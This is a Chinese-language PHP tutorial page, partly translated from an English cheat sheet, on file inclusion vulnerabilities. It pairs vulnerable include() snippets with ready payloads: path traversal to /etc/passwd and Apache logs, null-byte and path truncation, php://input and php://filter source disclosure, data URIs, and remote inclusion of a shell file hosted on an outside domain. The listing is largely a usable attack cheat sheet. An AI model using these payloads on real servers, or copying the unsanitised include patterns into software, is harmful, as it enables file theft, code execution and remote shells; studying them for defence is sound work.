php专区

 首页 > php专区 > PHP应用 > 常用功能 > 关于PHP文件包含一些漏洞分析 - php高级应用

关于PHP文件包含一些漏洞分析 - php高级应用

分享到:
【字体:
导读:
          文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处.基本的文件包含漏洞,代码如下:?phpinclude(includes/.$_GET[#39;file#39;]);?*包含同路径下的文件:file=.htac......

关于PHP文件包含一些漏洞分析

文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处.

基本的文件包含漏洞,代码如下:

  1. include(“includes/” . $_GET['file']); ?> 
  2. * 包含同路径下的文件: 
  3. file=.htaccess 
  4. * 路径遍历: 
  5. file=../../../../../../../../../var/lib/locate.db 
  6. (该文件非常有趣因为它允许你搜索文件系统) 
  7. * 包含注入PHP代码的文件: 
  8. file=../../../../../../../../../var/log/apache/error.log 
  9. (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.) 

受限的本地文件包含如下代码:

  1.  include(“includes/” . $_GET['file'] . “.htm”); ?> 
  2. * 空字符注入(Null Byte Injection): 
  3. file=../../../../../../../../../etc/passwd%00 
  4. (需要magic_quotes_gpc=off) 
  5. * 列目录(Null Byte Injection): 
  6. file=../../../../../../../../../var/www/accounts/%00 
  7. (仅限BSD, 需要magic_quotes_gpc=off,详细信息here) 
  8. *路径截断(Path Truncation): 
  9. file=../../../../../../../../../etc/passwd........... … 
  10. (详细信息参见 here 和 here) 
  11. * 点号截断: 
  12. file=../../../../../../../../../etc/passwd……………. … 

仅限Windows,更多细节参见here

基本的远程文件包含,代码如下:

  1. include($_GET['file']); ?>
  2. * 包含远程代码(Including Remote Code):
  3. file=[http|https|ftp]://websec.wordpress.com/shell.txt 
  4. (需要 allow_url_fopen=On 和 allow_url_include=On) 
  5. * 使用php输入流(Using PHP stream php://input): 
  6. file=php://input 
  7. (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) 
  8. * 使用PHP过滤函数(Using PHP stream php://filter): 
  9. file=php://filter/convert.base64-encode/resource=index.php 
  10. (lets you read PHP source because it wont get evaluated in base64. More details here and here) 
  11. * Using data URIs: 
  12. file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 
  13. (需要 allow_url_include=On) 
  14. * 用于跨站脚本攻击(Using XSS): 
  15. //开源代码phpfensi.com 
  16. file=http://127.0.0.1/path/xss.php?xss=phpcode 
  17. (makes sense if firewalled or only whitelisted domains allowed) 

受限的远程文件包含漏洞,代码如下:

  1. include($_GET['file'] . “.htm”); ?> 
  2. * file=http://websec.wordpress.com/shell 
  3. * file=http://websec.wordpress.com/shell.txt? 
  4. * file=http://websec.wordpress.com/shell.txt%23 
  5. (需要 allow_url_fopen=On 和 allow_url_include=On) 

静态远程文件包含漏洞,代码如下:

  1. include(“http://192.168.1.10/config.php”); ?> 
  2. * 中间人攻击(Man In The Middle) 
  3. (lame indeed, but often forgotten) 
分享到:
php中sql注入一些方法介绍 - php高级应用
php中sql注入一些方法介绍 自己了解php中sql注入一些方法介绍,下面介绍的全部是最常见的sql注入方法了,有需要的朋友可参考一下. 1,何为注入?比如我们在查询数据库的时候,我们通过文章的id号来取出这篇文章的所有信息,那么SQL语句可以这样写:select * from blog where id=5 ,id的值通过用户...
PHP JSONP跨域实现程序详解 - php高级应...
PHP JSONP跨域实现程序详解 在网站开发中跨域是一个头痛的事情,我经常要需要解决各种跨域问题,今天我来介绍在php中利用JSONP跨域实现方法,各位J友可参考参考,先看一个实例,代码如下: $("#btn").click(function(k) {       //...       var j = form.serializeArray...
  •         php迷,一个php技术的分享社区,专属您自己的技术摘抄本、收藏夹。
  • 在这里……